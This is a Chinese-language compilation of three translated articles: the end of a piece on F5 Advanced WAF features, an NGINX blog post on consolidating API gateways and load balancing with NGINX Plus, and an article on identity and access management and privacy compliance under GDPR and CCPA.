1. 主动Bot防御 - 利用指纹识别技术和挑战/响应技术与行为分析相结合，实现会话级威胁检测并阻止自动威胁。这是一种比依靠IP信誉数据库防止僵尸网络攻击更加先进和高效的解决方案。
2. 第7层行为DoS检测和缓解 -  F5高级WAF能够动态分析流量并为异常流量模式创建签名，在DDoS攻击到达您的应用程序之前阻止它们。
3. DataSafe  - 通过动态，动态和实时加密页面内容提供凭据保护，以防止恶意软件引起的浏览器中的攻击。 DataSafe还对用户即时和实时输入浏览器的数据进行加密。
4. Anti-Bot Mobile SDK  - 使用移动应用程序时不存在浏览器，这意味着PBD保护会失去效率。 Anti-Bot Mobile SDK可以帮助防止即使在移动设备上发生僵尸网络攻击。
    

最后的想法…

在我们使用大量应用程序和软件解决方案进行大多数私人和业务通信的时候，我们应该将注意力集中在保护它们上。在过去一年中，42％的网络攻击目标企业指向外部资源，两种最广泛使用的攻击方法针对Web应用程序和各种软件漏洞。恶意来源不断攻击应用程序，这就是安全专业人员正在寻找WAF设备来保护Web应用程序免受大多数复杂攻击（包括零日攻击）以及确保所有形状和格式的应用程序安全的原因。 F5 Advanced WAF是一个专用安全平台，提供当今市场上最先进的应用程序安全功能。

原文：https://veracompadria.com/en/waf-what-where-how-and-why/

本文：https://pub.intelligentx.net/waf-what-where-how-and-why

讨论：请加入知识星球或者小红圈【首席架构师圈】

既然软件负载平衡器是现代DevOps驱动的组织中的标准，那么我们为自己创造了什么新的挑战呢?我们如何应对“代理扩张”的复杂性?我们可以在不损害性能、稳定性和功能的情况下进行整合吗?

web和应用程序交付领域的大多数专业人士都熟悉硬件应用程序交付控制器(ADC)市场的发展轨迹。硬件adc开始是智能的、负载均衡的路由器，并迅速发展成为交付高流量或业务关键应用程序的标准方式。

在不断增加收入的压力下，硬件ADC厂商将一个又一个特性捆绑到他们的设备中——SSL VPN?虚拟桌面代理吗?链路负载均衡?当然，我们可以做到!硬件设备变得越来越复杂和笨重，用户发现拥有和操作这项基本技术的成本越来越高。

在现代企业中，软件正在取代硬件adc

随着硬件adc在自身的重压下开始崩溃，DevOps团队转向重量更轻的软件替代品，以满足他们的应用程序交付需求。基于软件的解决方案使用熟悉的开源技术——NGINX反向代理、ModSecurity web application firewall (WAF)、Varnish缓存、HAProxy负载均衡器——取代了硬件替代品。软件可以在每个应用程序的基础上轻松有效地部署，直接控制应用程序所有者，并支持DevOps团队支持的敏捷交付过程。

如果你调查一下这些部署中的一种，你会发现类似的情况并不少见:

应用程序团队为他们的应用程序创建复杂的应用程序交付层

软件生态系统充满了针对DevOps工程师所面临的每个问题的单一目的和点解决方案。每个新的用例都使用构建在反向代理上的一组新的解决方案来解决。例如，API网关产品的出现是因为需要管理API流量、应用路由、身份验证、速率限制和访问控制策略来保护基于API的服务。

软件必须超越点解决方案

点解的爆炸式增长显然给DevOps工程师带来了一个问题。他们必须熟悉部署、配置、更新和监视每个解决方案的过程。故障排除变得更加复杂，特别是当问题产生于不同解决方案之间的交互时。

历史似乎在重演:就像特定用途的硬件设备的激增导致了在单个ADC上整合许多功能一样，DevOps团队现在需要通过将软件功能整合到一个平台上来降低复杂性和简化他们的基础设施。但是这一次，避免以前使用硬件负载平衡器所犯的错误是很重要的。如果统一的解决方案性能不佳，操作复杂，或者在每个应用程序的基础上部署成本高得令人望而却步，那么它就没什么用。

使用NGINX和NGINX Plus合并应用程序交付堆栈

大多数DevOps工程师已经非常熟悉NGINX，这是一个开源web服务器和反向代理，它提供了世界上最繁忙的网站，比任何其他解决方案都多。

组织使用开源NGINX构建各种特定的解决方案，从分布式内容交付网络(CDNS，如CloudFlare、CloudFront和MaxCDN)到本地API网关。NGINX也是许多开源和商业点解决方案的核心，包括商业负载平衡器和来自Kong和3scale的API网关。

NGINX Plus是由开源NGINX背后的团队开发的。它通过将多个功能(身份验证、反向代理、缓存、API网关、负载平衡等等)合并到一个软件平台中，从而消除了对复杂的点解决方案链的需求。它可以很容易地通过认证模块进行扩展，以添加WAF(带有用于ModSecurity、hidden Security和Wallarm的模块)、高级身份验证(Curity、Forgerock、IDFConnect、Ping Identity)和可编程性(NGINX JavaScript、Lua)等功能。

NGINX Plus整合了SSL、WAF、缓存、API网关、负载平衡等功能

变成一个单一的平台

NGINX Plus对DevOps工程师的好处远远不止于功能的整合。丰富的RESTful API提供了对NGINX Plus及其负载平衡后端服务器的健康状况和性能的深入了解。动态重新配置和服务发现集成简化了NGINX Plus在云或Kubernetes等流体环境中的操作。NGINX Plus中的集群功能使您能够以可靠的HA方式跨集群分发流量和共享运行时状态。

在不损害性能的情况下实现整合

建立在开源NGINX之上的第三方解决方案不具备NGINX附加功能、api和集群的优势。此外，许多解决方案依赖于第三方语言(Lua是最流行的)来实现它们的附加功能。Lua是一种非常强大的语言，但它对NGINX造成了不可预测的性能损失，这在很大程度上取决于第三方扩展的复杂性。

NGINX Plus不会损害开源NGINX的高性能或轻量级特性。核心NGINX Plus二进制文件的大小只有1.6 MB，能够在工业标准硬件上每秒处理超过100万次请求、70 Gbps吞吐量和65,000个新的SSL事务，具有现实的、生产就绪的配置。新的功能是由核心的NGINX团队在过程模块中实现的，就像在开源的NGINX中一样，因此您可以确保每个特性的性能、稳定性和质量。

API网关用例

DevOps团队可以使用NGINX Plus来满足许多用例，API gateway就是一个突出的例子。下表显示了NGINX Plus作为API网关如何满足管理来自外部源的API请求并将其路由到内部服务的许多需求。

作为一个统一的解决方案，NGINX Plus还可以轻松地管理web流量，在协议(HTTP/2和HTTP、FastCGI、uwsgi)之间进行转换，并提供一致的配置和监视接口。NGINX Plus足够轻量级，可以部署在容器环境中，或者作为一个资源占用最少的sidecar。

使用NGINX Plus增强API网关解决方案

开源NGINX最初是作为HTTP (web)流量的网关开发的，其配置的基本类型是用HTTP请求表示的。这些与您期望配置API网关的方式相似，但并不相同，因此DevOps工程师需要了解如何将API定义映射到HTTP请求。

对于简单的api，这很简单。对于更复杂的情况，我们最近的三部分系列博客描述了如何将一个复杂的API映射到NGINX Plus中的服务，然后处理许多常见的API网关任务:

1. 重写API请求
2. 正确应对错误
3. 管理用于访问控制的API密钥
4. 检查JWT令牌以进行用户身份验证
5. 速度限制
6. 强制执行特定的请求方法
7. 应用细粒度访问控制
8. 控制请求的大小
9. 验证请求的身体
10. 路由、验证、检查和保护gRPC流量

• Rewriting API requests
• Correctly responding to errors
• Managing API keys for access control
• Examining JWT tokens for user authentication
• Rate limiting
• Enforcing specific request methods
• Applying fine‑grained access control
• Controlling request sizes
• Validating request bodies
• Routing, authenticating, checking, and protecting gRPC traffic

结论

由于DevOps团队严重依赖软件组件来交付和操作他们的应用程序，硬件adc已经被边缘化。开源NGINX被认为是大多数应用程序交付栈的关键部分。

许多软件组件的单一用途或点解决方案功能可能导致多层应用程序交付堆栈。尽管这些栈是由“最好的”组件构建的，但是操作起来很复杂，很难排除故障，并且具有不一致的性能和可伸缩性。NGINX Plus将此功能聚合到一个软件平台上。

NGINX Plus可以应用于各种各样的问题，比如API交付，使用经过验证的、熟悉的、不影响性能或稳定性的技术。

原文：https://www.nginx.com/blog/consolidating-your-api-gateway-and-load-balancer-with-nginx/

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

互联网已成为我们日常生活的一部分，而我们的个人信息已成为商业商品和安全风险。个人数据被自由地传递给在线企业，但他们建立消费者信任的能力却严重缺失。

企业通过其捕获的数据与用户的联系越来越紧密。这些数据越来越多地被输入到驱动人工智能和机器学习的算法中。衍生的分析提供了见解，帮助公司更好地为客户和员工服务，同时改善其业务运营。

公司利用个人信息形成其用户的全面形象。除了改善客户关系的商业智能价值外，用户信息还应用于身份和访问管理（IAM），以控制对应用程序、设备和数字资源的访问。虽然IAM的重点主要集中在保护业务资产，但较少关注保护用户隐私。然而，情况正在发生变化。

公司必须做好数据管理

所有用户信息公司都会提示我们提出重要问题。他们在用它做什么？当前员工或客户不再与企业有关系时，数据应保存在哪里？数据是否准确？它多久更新一次，如何更新？用户是否知道他们的数据正被收集并用于各种商业目的，并被分享或出售给第三方？

企业必须回答这些身份和隐私问题和担忧，并且必须对收集的用户信息更加透明。随着大量用户信息和不断增加的法规，IAM成为管理隐私、身份、访问和存储信息的关键解决方案。用户有权要求提供他们的数据，决定他们是否希望公司保留这些数据，并控制如何使用这些数据。

GDPR和《加州消费者隐私法》（CCPA）正促使公司不仅仅关注这些问题，而且有充分的理由。这不仅仅是管理数据的问题；它需要了解用户身份和隐私保护。

隐私正成为IAM的固有部分，因为公司将用户信息应用于访问管理策略，同时也为业务挖掘和货币化信息。IAM正在成为管理隐私、保护用户和公司的战略工具，将数据收集做法与GDPR和CCPA等法规相一致。

寻找在设计中内置隐私的IAM解决方案，在整个系统中嵌入隐私框架，并使用业务支持的最佳实践方法。

系统就绪性评估

我希望所有企业都已经进行了GDPR准备评估，但我怀疑还有很多公司没有进行CCPA评估。数字系统评估是对IT环境、工作流程和用户意识的全面检查，以确保法规遵从性。除了最初的全面准备评估外，还必须进行持续的评估，以确保持续的法规遵从性。

数据评估和补救

数据补救可以显著降低公司的风险和相关成本。通过识别需要清理和/或修改以符合法规的数据存储，这对于协调身份和隐私至关重要。数据修复有助于减轻存储不符合要求的数据的风险，并帮助公司知道他们拥有哪些数据，以便他们可以删除这些数据或将其提供给请求这些数据的用户。

这是一种不知情的行为，它会让一家企业蒙上阴影。公司拥有遍布其组织、子公司和业务伙伴的个人用户信息。当合并或收购具有相同用户信息的公司时，管理数据变得更加复杂。数据评估将识别和修正整个组织的数据。

IAM解决方案现在正在使用人工智能和机器学习来梳理遍布整个组织的数百万记录。他们为不再是客户或员工的用户寻找驾驶执照和社会安全号码等异常情况。他们还训练算法来查找诸如民族起源和宗教归属之类的关键词，以找到不需要存储的数据。

当员工离职、被解雇或被解雇，且其内部账户未被禁用时，公司面临风险。这些孤立的帐户提供对公司系统和应用程序的访问。数据评估可以识别这些帐户并对其进行补救。

有许多技术和策略可以解决身份和隐私问题。然而，如果没有全面的数据评估，它们的效率就会降低，在某些情况下甚至是无用的。你无法解决你不知道的问题。

员工意识和培训

在了解法规遵从性方面，公司员工处于第一线，他们的行为可能会产生商业影响。员工对法规遵从性问题的意识是另一层保护。就这些问题提供培训和教育是绝对重要的。

隐私是人人享有的权利，需要加以保护。管理IAM系统的人员必须接受尊重隐私的培训和教育。公司应为员工提供培训和教育，无论他们在家、在现场还是在办公室。您还应确保IAM解决方案满足您公司的法规遵从性要求，并寻找提供管理用户数据认证的IAM供应商。

国际隐私专业协会（IAPP）提供隐私培训和认证，以帮助组织管理风险和保护用户数据。

获得对用户数据的控制

CCPA表示，公司有45天的时间回应个人信息请求。你准备好了吗？战略规划和理论分析对于满足CCPA合规性非常重要。管理身份、访问和隐私需要实施技术解决方案、流程、工作流程和员工意识。这就是将规划和分析转化为可操作的解决方案，以及季度评估，以确保数据和隐私得到妥善管理的原因。